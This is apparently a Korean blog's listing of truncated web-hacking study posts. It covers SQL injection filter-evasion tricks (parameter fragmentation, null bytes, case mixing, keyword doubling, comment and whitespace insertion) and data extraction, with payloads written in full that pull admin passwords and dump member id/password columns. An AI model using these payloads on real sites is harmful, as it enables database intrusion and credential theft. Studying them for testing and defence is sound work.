목록웹 해킹 (100)
Oh! JUN
HPF(HTTP Parameter Fragmentation)기법 HPF 기법 적용한 요청 예시 SELECT * FROM board WHERE title like '%[keyword]%'order by[sort]desc keyword=' and ascii(substring/*&sort=*/(@@version,1,1))&1=-- ↓ SELECT * FROM board WHERE title like '%' and ascii(substring/*%'order by*/(@@version,1,1))&1=--desc 쿼리 문장하나에 keyword랑 sort 파라미터를 입력할 수 있어야 공격이 가능하다.
http(평문) http://www.attack.co.kr/boardView.do?idx=100+and+1=1-- https(암호화) https://www.attack.co.kr/boardView.do?idx=100+and+1=1-- http 사용하는 웹 사이트에서 https로 암호화된 프로토콜을 사용하면 우회된다. (옛날 방식이라 현재는 잘 안먹힘)
NULL Byte 삽입 ' and%00ascii(substring(@@version,1,1))&1=1-- 보안 솔루션에서는 %00까지만 읽히고 뒤에는 읽히지 않고 끝난다. DBMS에서는 쿼리 끝까지 읽히니까 %00으로 보안 솔루션을 우회하면서 정상적인 쿼리 실행이 가능하다. %00는 인코딩하면 안되고 문자 그대로 작성해야한다. Multipart에서는 %00 기본형태로 작성하면 안된다. %00 디코딩 해주어야 한다. (and와 1사이에 아무것도 없는거 같지만 HEX값으로 보면 00 되어있음)
※ 기타 우회 기법 ※ 1. 대문자 사용 2. % 문자 사용 3. 키워드 중복 사용 4. 암호화 채널 사용 대문자 사용 ' and AsCii(suBStRinG(@@vErSiOn, 1,1))&1=1-- % 문자 사용 ' and %as%cii(su%bstring(@@v%er%si%on, 1,1))&1=1-- 키워드 중복 사용 ' and asasciiscii(subssubstringtring(@@version,1,1))&1=1-- 암호화 채널 사용 추후 업데이트 예정
※함수 검증 우회 기법※ boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- 차단 boardView.do?idx=100 and ascii('a')=97-- 정상 boardView.do?idx=100 and substring('test',1,1)='t'-- 차단 ascii와 substring 같이 사용할때 차단이고, ascii 혼자일때는 정상, substring 혼자일때도 차단이니까 substring 함수가 문제였다. but 주의할점 ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음 ※우회※ 1. 의미 없는 문자 삽입 분류 문자 공백 관련 문자 %09 %0A %0B %0C %0D %A0 주석 문자 /**/ ex) boardV..
6) 특수 문자 검증 우회 기법 1. 싱글 쿼터(') 문자 검증 우회 싱글 쿼터 문자 사용이 반드시 필요한 예시 SELECT * FROM board WHERE title like '%test%' 싱글 쿼터 문자 사용이 필요 없는 예시 SELECT * FROM board WHERE idx=100 SELECT * FROM board WHERE title like '%test%' SELECT * FROM board order by idx desc ※ 예시 boardView.do?idx=100 정상 boardView.do?idx=100 and 1=1 정상 boardView.do?idx=100 and ascii(substring((select password from member where id='admin'),..
지난 시간에 이어서 이번에는 데이터 조회 공격 실습 org_filename에 사용자가 지정한 파일 이름이 출력된다고 했다. 이걸 활용해서 SQL injection 공격이 가능하다. 그림 참고하면 org_filename 파라미터에 select group_concat(id, '###', password, ',,') from members 쿼리가 들어가서 members 테이블의 id, password 컬럼을 그룹핑해서 한번에 구할 수 있게 했다. real_filename에는 지난시간처럼 실질적인 파일 다운로드 경로를 설정해줬다. 여기서 잠깐 만약 real_filename을 모른다면 어떻게 해야될까? blind-sql 인젝션을 통해서 구해주면된다. org_filename 데이터 구하기 1+and+ascii(su..